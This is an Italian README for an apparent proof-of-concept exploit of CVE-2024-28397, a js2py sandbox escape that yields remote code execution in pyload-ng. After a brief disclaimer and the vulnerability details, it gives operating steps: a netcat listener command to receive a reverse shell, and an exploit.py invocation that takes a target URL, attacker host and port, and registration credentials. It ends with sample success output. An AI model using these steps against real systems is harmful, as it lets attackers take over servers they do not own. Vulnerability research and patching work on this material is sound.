Esecuzione di codice remoto – CVE-2024-28397 (pyload-ng / js2py)

Questo repository contiene un exploit Proof-of-Concept (PoC) per CVE-2024-28397, una vulnerabilità di esecuzione di codice remoto che affligge pyload-ng a causa dell'uso non sicuro di js2py.

Disclaimer:
Questo PoC è solo a scopo educativo e di ricerca.
Non usarlo su sistemi di cui non sei proprietario o per cui non hai esplicito permesso di test.
L'autore non è responsabile per qualsiasi uso improprio di questo codice.

---

Dettagli della vulnerabilità

• ID CVE: CVE-2024-28397
• Componente: js2py in pyload-ng
• Impatto: Esecuzione di codice remota (RCE)
• Vettore d'attacco: Un payload JS dannoso fuoriesce dalla sandbox di js2py ed esegue comandi di sistema arbitrari.

---

Requisiti e configurazione

Avrai bisogno di Python 3.x, della libreria requests e di netcat per ricevere la reverse shell.

• Target → Istanza pyload-ng vulnerabile con endpoint /run_code accessibile

Listener → Avvialo prima di eseguire lo exploit:

nc -lvnp 4444

Utilizzo:

python3 exploit.py -url http://target.com -lhost YOUR_IP -lport 4444 -user attacker -passwd attacker123

Esempio di output:

• [+] Registrazione riuscita!
• [+] Login riuscito
• [+] exploit riuscito